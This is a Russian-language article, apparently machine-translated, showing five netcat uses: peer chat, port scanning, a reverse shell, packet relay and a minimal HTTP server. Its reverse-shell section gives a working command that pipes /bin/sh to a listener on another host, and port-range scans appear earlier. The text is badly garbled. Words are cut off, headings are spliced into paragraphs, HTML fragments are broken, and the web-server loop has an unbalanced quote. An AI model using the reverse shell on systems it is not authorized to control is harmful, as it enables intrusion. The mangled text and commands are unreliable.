ГлавнаяОперационные системыLinux5 простых и легких способов использования Netcat в Linux

5 простых и легких способов использования Netcat в Linux

Netcat — это мощная сетевая утилита командной строки в Linux, которая может отправлять и прослушивать пакеты TCP и UDP. В отличие от других сетевых инструментов, netcat чрезвычайно прост. Однако его простота также позволяет ему выполнять практически любые действия в сети.

В этой статье будут показаны 5 простых сетевых задач, которые можно выполнить с помощью netcat. Кроме того, в этой статье также будет показано, что делает netcat особенным и почему вам следует включить его в свой набор инструментов Linux.

Как работает Netcat и зачем его использовать?

Netcat — это базовая утилита, позволяющая отправлять и получать сетевые пакеты. Впервые он был выпущен в 1995 году программистом под псевдонимом Хоббит. С тех пор netcat стал важной частью каждого дистрибутива Linux.

По сути, netcat отправляет сетевые запросы с одного хоста Linux на другой. Этот сетевой запрос может с

Как работает Netcat и зачем его использовать?

на любой порт.

Терминал, показывающий простую передачу текста с помощью netcat.

Этот подход означает, что netcat может создать любой возможный тип сетевого подключения. Например, программа может создавать прямые TCP-соединения, которые вы можете использовать либо с передавать файлы , либо с создавать сеансы обратной оболочки .

Рабочий стол, показывающий простую передачу файлов между двумя хостами Linux с помощью netcat.<

1. Сеанс однорангового чата

Одно из основных применений netcat — это простой сеанс однорангового чата между двумя компьютерами Linux. Это метод связи, который не использует какой-либо сторонний сервер для отправки и получения информации.

  1. Чтобы это работало, вам необходимо открыть порт между 49152 и 65536 на вашем локальном компьютере. Здесь удаленный хост сможет подключиться и отправить произвольную информацию на ваш компьютер.
sudo ufw allow 50000
  1. Вам также необходимо открыть другой порт на удаленном хосте, чтобы ваш компьютер мог отправлять на него информацию:
sudo ufw allow 50001

<старый старт="3">

  • Запустите netcatна своем компьютере со следующими аргументами:
  • nc -lp 50000

    Откроется сеанс netcat, который активно прослушивает данные на порту 50000.

    1. Теперь удаленный хост может отправлять любые текстовые данные на ваш локальный компьютер. Например, следующая команда отправит стандартный ввод системы на удаленный компьютер.
    cat - | nc 192.168.122.136 50000

    1. Сеанс однорангового чата

    ps://saintist.ru/wp-content/uploads/2024/05/5-simple-netcat-uses-07-remote-text-chat-sample.png" alt="Терминал, показывающий стандартное приглашение ввода для базового чата Netcat.">
    1. Чтобы ответить на сообщение, удаленному хосту также необходимо запустить демон прослушивания:
    nc -lp 50001
    1. Теперь вы также можете отправить сообщение с локального компьютера на удаленный хост:
    cat - | nc 192.168.122.177 50001
    Терминал, показывающий два виртуальных терминала для полнодуплексного чата Netcat.

    2. Базовый сканер портов

    A сканер портов — это простая утилита, которая проверяет, доступен ли набор портов на машине с удаленного хоста. Это очень полезно в тех случаях, когда вы не уверены, открыты ли в вашей системе соответствующие порты.

    Чтобы проверить один порт, вы можете ввести nc -v, а затем IP-адрес и порт, который вы хотите проверить:

    nc -v 192.168.122.177 80
    Терминал, показывающий базовое сканирование порта 80.

    Вы также можете указать диапазон номеров, в котором netcat будет последовательно проверять каждый номер порта внутри этого диапазона. Например, следующая команда просканирует все открытые «хорошо известные» порты:

    nc -v 192.168.122.177 1-1024
    Терминал, показывающий массовое сканирование «хорошо известных» портов.<

    Одним из недостатков запроса портов является то, что он генерирует ненужный сетевой трафик. Это может стать проблемой, если вы тестируете большое количество портов в небольшой домашней сети.

    Чтобы это исправить, включите режим Netcat «Нулевой ввод-вывод», который не создает никакой сетевой активности на удаленном хосте:

    nc -zv 192.168.122.177 1-1024
    Терминал, показывающий массовое сканирование портов с нулевым вводом-выводом с помощью netcat.

    К вашему сведению: Узнайте, как используйте nmap даже без sudo собрать информацию о компьютерах в вашей локальной сети.

    3. Обратная оболочка

    Обратные оболочки — это основа тестирования на проникновение в Linux. Это удаленные эк

    2. Базовый сканер портов

    яют управлять системой даже без открытых входящих портов. Это делает обратные оболочки удобными, если вам нужно получить доступ к машине, у которой нет доступа по SSH.

    1. Чтобы создать обратную оболочку, вам необходимо открыть демон-прослушиватель на локальном компьютере:
    nc -lp 50000
    1. Запустите соединение netcat на удаленном компьютере. В этом случае вам также необходимо передать среду оболочки удаленного компьютера:
    nc -e /bin/sh 192.168.122.136 50000

    Примечание. Приведенная выше команда будет работать только в дистрибутивах, отличных от Ubuntu. Чтобы сделать это в Ubuntu, вам необходимо установить пакет «netcat-traditional» и заменить «nc» на «nc.traditional».

    <ол старт="3">

  • Вернитесь на свой локальный компьютер и запустите команду оболочки. Например, при запуске lsбудет распечатан текущий каталог удаленного пользователя.
  • ls -la
    Терминал, показывающий результат успешной обратной оболочки.
    1. Чтобы завершить сеанс обратной оболочки, вы можете нажать Ctrl+ Cна демоне-прослушивателе вашего локального компьютера.
    Терминал, показывающий закрытие обратной оболочки на локальной машине.

    Полезно знать: к изучение основ сценариев оболочки узнайте, как эффективно использовать обратную оболочку.

    4. Базовая ретрансляция пакетов

    Помимо прямого чтения и записи в сетевой поток, вы также можете использовать netcat для перенаправления входящего соединения на любой исходящий порт. Это работает путем объединения нескольких сеансов прослушивателя и клиента netcat с использованием каналов UNIX.

    1. Создайте сеанс netcat, который прослушивает порт 50000. Он будет служить исходящим портом для вашего базового реле:
    nc -lv localhost 50000
    1. Откройте новый терминал и выполните следующую команду:
    nc -lv localhost 50001 | nc localhost 50000

    При этом будет создан новый демон-прослушиватель на порту 50001, который будет автоматически перенаправлять все пакеты с этого порта на порт 50000.

    Терминал, показывающий сквозное соединение между двумя портами.
    1. Теперь вы можете отправлять данные на входящий порт, и netcat автомати

      3. Обратная оболочка

      а исходящий порт.
    echo "MakeTechEasier" | nc localhost 50001
    Терминал, показывающий базовую ретрансляцию пакетов в действии.
    1. Помимо локальных портов, вы также можете использовать эту функцию для перенаправления любого сетевого трафика на другой компьютер. Например, следующий код отправляет данные с порта 50000 на тот же порт в другой системе:
    nc -lv localhost 50000 | nc 192.168.122.177 50000
    Терминал, показывающий базовую ретрансляцию пакетов между двумя хостами.

    Примечание. Чтобы это работало, вам потребуется запустить несколько процессов-демонов, и никакие проходящие данные не шифруются.

    5. Базовый HTTP-сервер

    Настройка HTTP-сервера может оказаться сложным процессом, даже если вы хотите обслуживать только одну страницу. В этом отношении netcat также может служить простым статическим веб-сервером, который можно запустить в Linux без установки каких-либо дополнительных инструментов.

    1. Создайте базовый файл ответов HTTP. Следующий фрагмент кода отображает веб-страницу с простым сообщением:
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    Server: netcat!
     
    <!doctype html>
    <html>
        <body>
        <h1>Hello MakeTechEasier!</h1>
        </body>
    </html>
    1. Сохраните его как «index.http» в своем домашнем каталоге.
    Терминал, показывающий структуру простого HTTP-ответа.
    1. Выполните следующую команду:
    while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
    Терминал, показывающий работающий простой веб-сервер Netcat.

    Теперь у вас есть работающий веб-сервер. Вы можете посетить свою веб-страницу, открыв веб-браузер и перейдя по адресу http://localhost:8080.

    Снимок экрана, показывающий работающий веб-сервер Netcat, обслуживающий веб-страницу.
    1. Нажмите Ctrl+ Cна терминале, чтобы выйти из текущего сеанса веб-сервера.
    4. Базовая ретрансляция пакетовцесс закрытия базового веб-сервера Netcat.">

    Примечание. Как видите, это всего лишь очень простой HTTP-сервер, и он небезопасен. Если у вас собственный сервер, вам следует следовать эти советы по защите вашего сервера .

    Полезно знать: к использование sed для управления текстовыми потоками научитесь эффективно управлять своими файлами.

    Часто задаваемые вопросы

    Я не могу подключиться к удаленному компьютеру с помощью netcat.

    Эта проблема, скорее всего, связана с заблокированным портом брандмауэра на удаленном компьютере. Вам необходимо убедиться, что порт, который вы используете на своем компьютере, открыт как для входящих, так и для исходящих соединений. Например, вам нужно запустить sudo ufw allow 49999, если вы хотите использовать порт 49999 на удаленном компьютере.

    Можно ли подключиться к любому хосту с помощью netcat?

    Нет. Хотя netcat может читать и записывать в любой произвольный сетевой поток, он не может подключиться к машине, которую невозможно обнаружить в сети вашей системы. К ним относятся частные сети, в которых не включена переадресация портов, а также системы с воздушным зазором, не имеющие доступа к сети.

    Можно ли подделать соединение в netcat?

    Нет. Это связано с тем, что netcat может отправлять и получать пакеты только с действующего сетевого интерфейса. Однако вы можете изменить источник получения конкретного пакета, если у вас несколько сетевых интерфейсов.

    Например, вы можете запустить nc -l -s 10.0.0.2 -p 50000, чтобы указать netcat явно отправлять пакеты с использованием интерфейса с IP-адресом «10.0.0.2».

    Изображение предоставлено: ThisisEngineering RAEng через Unsplash . Все изменения и скриншоты Рамсеса Реда.

    5. Базовый HTTP-сервер

    Часто задаваемые вопросы

    Я не могу подключиться к удаленному компьютеру с помощью netcat.

    Можно ли подключиться к любому хосту с помощью netcat?

    Можно ли подделать соединение в netcat?

    ПОХОЖИЕ СТАТЬИ

    Популярные записи